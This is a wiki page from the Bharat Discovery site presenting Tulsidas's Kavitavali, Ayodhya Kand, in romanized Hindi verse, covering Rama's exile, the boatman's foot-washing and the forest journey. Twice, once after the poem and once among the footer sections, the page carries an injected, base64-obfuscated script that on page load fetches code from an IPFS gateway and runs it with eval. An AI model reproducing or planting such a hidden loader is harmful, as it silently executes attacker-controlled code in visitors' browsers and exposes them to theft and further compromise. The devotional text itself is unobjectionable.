कवितावली (पद्य)-अयोध्या काण्ड

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

right|thumb|250px|kavitavali (ayodhya kand)

ayodhya kand

 
(vanagaman)
kirake kagar jyoan nripachir, bibhooshan uppam aangani paee.
audh taji magavasake rookh jyoan,panthake sath jyoan log logaee..
sang subandhu, punit priya, mano dharmu kriya dhari deh suhaee..
rajivalochan ramu chale taji bapako raju batau kian naee.1.

kagar kir jyoan bhooshan-chir sariroo lasyo taji niroo jyoan kaee.
matu-pita priy log sabai sanamani subhayan saneh sagaee..
sang subhasini, bhai bhalo, din dvai janu audh hute pahunaee..
rajivalochan ramu chale taji bapako raju batau kian naee.2.

sithil saneh kahaian kausila sumitrajoo soan,
maian n lakhi sauti, sakhi! bhagani jyoan seee hai.
kahai mohi maiya, kahauan -maian n maiya, bharataki,
balaiya jehauan bhaiya, teri maiya kaikeee hai..
tulasi saral bhayan raghurayan may mani,
kay-man-banihooan n jani kai mateee hai.
bam bidhi mero sukhu siris -suman -sam,
takea chhal-chhuri koh-kulis lai teee hai.3.

kijai kaha, jiji joo! sumitra pari payan kahai,
tulasi sahavai bidhi, soi sahiyatu hai.
ravaro subhau ramajanm hi te janiyat,
bharataki matu ke ki aiso chahiyatu hai..
jaee rajaghar, byahi aee rajaghar mahan,
 raj-pootu paehooan n sukhu lahiyatu haian.
deh sudhageh, tahi mrigahooan malin kiyo,
tahoo par bahu binu rahu gahiyatu hai.4.

guhaka pad-prakshalan

 
nam ajamil -se khal koti apar nadian bhav boo dat kadhean.
jo sumirean giri meroo silakan hot, ajakhur baridhi badhe..
tulasi jehi ke pad pankaj tean pragati tatini, jo harai agh gadhe..
te prabhu ya sarita taribe kahuan magat nav karare hvai thadhe.5.

ehi ghatatean thorik doori ahai kati lauan jalu thah dikhaihauan joo..
parasean pagaghoori tarai tarani, gharani ghar kyoan samujhaihauan joo..
tulasi avalanbu n aur kachhoo, larika kehi bhaanti jiaihauanjoo.
baroo marie mohi, bina pag dhoean hauan nath n nav chadhaihauan joo.6.

ravare deshu n payanake, pagadhooriko bhoori prabhau maha hai.
pahan tean ban-bahanu kathako komal hai, jalu khai raha hai..
pavan pay pakhari kai nav chadhaihauan, ayasu hot kaha hai.
tulasi suni kevatake bar bain hanse prabhu janaki or haha hai.7.

pat bhari sahari, sakal sut bare-bare,
kevataki jati, kachhu bed n padhaihoan .
sabu parivaroo mere yahi lagi, raja joo,
hauan din bittahin, kaisean doosari gadhaihauan ..
gautamaki gharani jyoan tarani taraigi meri,
prabhuse nishadu hvai kai badu na badhaihauan.
tulasi ke ees ram, ravare soan saanchi kahauan,
bina pag dhoean nath, nav na chadhaihauan.8.

jinhako punit bari dharaian sirapai purari,
tripathagamini jasu bed kahaian gaikai.
jinhako jogindr munibriand dev deh dami,
karat bibidh jog-jap manu laikai..
tulasi jinhaki dhoori parasi ahalya tari,
gautam sidhare grih so levadakai..
teee pay paikai chadhai nav dhoe binu,
khvaihauan n pathavani kai hvaihauan n hansai kai.9.

prabhurookh pai kai, bolai balak balak dharanihi,
bandi kai charan chahooan disi baithe gheri-gheri.
chhoto-so kathauta bhari ani pani gangajooko,
dhoi pay piat punit bari pheri-pheri..
tulasi sarahaian tako bhagu, sanurag sur,
barashaian suman, jay-jay kahaian teri -teri..
bibidh saneh -sani bani asayani suni,
hansaian raghau janaki-lakhan tan heri-heri.10.

van ke marg mean

 
pur tean nikasi raghubir badhoo dhari dhir de magamean dag dvai.
jhalakian bhari bhal kanian jalaki, put sookhi ge madhuradhar vai..
phiri boojhati haian, chalano ab ketik, parnakakuti karihaian kit hvai?
tiyaki lakhi aturata piyaki aankhiyaan ati charoo chalian jal chvai.11.

jalako ge lakkhanu, haian larika,
parikhau, piy! chhaanh gharik hvai thadhe.
poanchhi paseu bayari karauan ,
aroo pay pakharihauan bhoobhuri-dadhe..
tulasi raghubir priyashram jani kai
baithi bilanb lauan kantak kadhe.
janakian nahako nehu lakhyo,
pulako tanu, bari bilochan badhe.12.

thadhe haian navadrumadar gahean,
dhanu kaandhe dharean, kar sayaku lai.
bikati bhrikuti, b dari aankhiyaan,
anamol kapolan ki chhabi hai..
tulasi as moorati anu hiean,
jad! daroo dhauan pran nichhavari kai..
shramasikar saanvari deh lasai,
mane rasi maha tam tarakamai.13.

jalajanayan, jalajanan jata hai sir,
jauban -umang aang udit udar hai..
saanvare-goreke bich bhamini sudamini-si,
munipat dharaian , ur phoolanike har haian..
karani sarasan silimukh, nishang kati,
ati hi anoop kahoo bhoopake kumar hai.
tulasi biloki kai tilokake tilak tini
rahe naranari jyoan chitere chitrasar haian.14.

age saanvaro kuanvaroo goro pachhean-pachhean,
achhe munivesh dharean, lajat anang haian.
ban bisishasan, basan banahi ke kati ,
kase haian banai, nike rajat nishang haian..
sath nisinath mukhi pathanathanandini-si,
tulasi bilokean chitu lai let sang hai.
anand umang man, jauban-umang tan,
roopaki umang umagat aang-aang hai.15.

sundar badan, sarasirooh suhae nain,
manjul prasoon mathean mukut jatani ke.
aansani sarasan, lasat suchi sar kar,
toon kati , munipat lootak patani ke..
nari sukumari sang, jake aang ubati kai,
bidhi birachaian barooth bidyutachhatani ke..
goreko baranu dekhean sono n salone lagai,
saanvare bilokean garb ghatat dhatani ke.16.

balakal-basan, dhanu-ban pani, toon kati,
roopake nidhan ghan-damini-baran haian.
tulasi sutiy sang, sahaj suhae aang,
naval kanvalahoo tean keamal charat haian..
aurai so basantu, aur rati, aurai ratipati,
moorati bilokean tan-manake haran haian.
tapas beshai banai pathik pathean suhai,
chale lokalochanani suphal karan haian.17.

banita bani syamal gaur ke bich ,
bilokahu, ri sakhi! mohi-si hvai.
manujogu n komal, kyoan chalihai,
sakuchati mahi padapankaj chhvai..
tulasi suni gramabadhoo bithakian,
pulakian tan, au chale lochan chvai.
sab bhaanti manohar mohanaroop,
anoop haian bhoopake balak dvai.18.

saanvare-gore salone subhayan, manoharataan jiti mainu liyo hai.
ban-kaman, nishang kasean, sir sohaian jata, munibeshu kiyea hai..
sang liean bidhubaini badhoo, ratiko jehi ranchak roop diyo hai.
payan tau panahian n , payadehian kyoan chalihaian, sakuchat hiyo hai.19.

rani maian jani ayani maha, pabi-pahanahoo tean kathor hiyo hai.
rajahuan kaju akaju n janyo, kahyo tiyako jehian kan kiyo hai..
aisi manohar moorati e, bichhurean kaise pritam logu jiyo hai.
aankhinamean sakhi! rakhibe jogu , inhaian kimi kai banabasu diyo hai.20.
 
sis jata, ur bahu bisal, bilochan lal, tirichhi -si mauanhean.
toon sarasan-ban dharean tulasi ban-maragamean suthi sohaian.
sadar barahian bar subhayan chitai tumh tyoan hamaro manu mohaian.
pooanchhat gramabadhoo siy soan, kahau, saanvare-se sakhi ! ravare ko haian.21.

suni suandar bain sudharas -sane sayani haian janakian jani bhali.
tirachhe kari nain, dai sain tinhai samujhai kachhoo, musakai chali..
tulasi tehian ausar sohaian sabai avalokati lochanalahu alian.
anurag -t dagamean bhanu udaian bigasi mano manjul kanjakalian.22.

dhari dhir kahaian, chalu dekhia jai, jahaan sajani! rajani rahihaian.
kahihai jagu poch , n sechu kachhoo ,phalu lochan apan tau lahihaian.
sukhu paihaian kan sunean batiyaan kal, apus mean kachhu pai kahihaian..
tulasi ati prem lagian palakaian, pulakian lakhi ramu hie haian.23.

pad komal, syamal -gaur kalevar rajat koti manoj lajaaian.
kar ban-sarasan, sis jata, sarasirooh -lochan son suhaean.
jinh dekhe sakhi! satibhayahu tean tulasi tinh tau man pheri n pae.
aihian marag aju kisor badhoo bidhubaini samet subhayan sidhae.24.

mukh pankaj, kanjabilochan manju, manoj-sarasan -si banian bhauanhean.
kamaniy kalevar komal syamal-gaur kisor, jata sir sohaian..
tulasi kati toon, dharean dhanu ban, achanak dishti pari tirachhauanhean..
kehi bhaanti kahauan sajani! tohi soan mridu marati dvai nivasian man mohaian.25.

van mean

 

prem soan pichhean tirichhean priyahi chitai chitu dai chale lai chitu choraian.
syam samir paseu lasai hulasai ‘tulasi’ chhabi se man more.
lochan lol, chalaian bhrikuti kal kam kamanahu se trinu toraian.
rajat ram kurangake sang nishangu kase dhanusoan saroo joraian.26.

sar charik charoo banai kasean kati, pani sarasanu sayaku lai.
ban khelat ramu phiraian mrigaya, ‘tulasi’ chhabi so baranai kimi kai..
avaloki alaukik roopu mrigian mrig chauki chakaian, chitavaian chitu dai..
n dagaian jiyan jani jiyan silimukh panch dharaian rati nayaku hai.27.

biandhike basi udasi tapi bratadhari maha binu nari dukhare.
gautamatiy tari ‘tulasi’ so katha suni bhe munibriand sukhare..
hvaihaian sila sab chandamakhian parasean pad manjul kanj tihare.
kinhi bhali raghunayakajoo! karoona kari kananako pagu dharean.28.

(iti ayodhyakand)

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah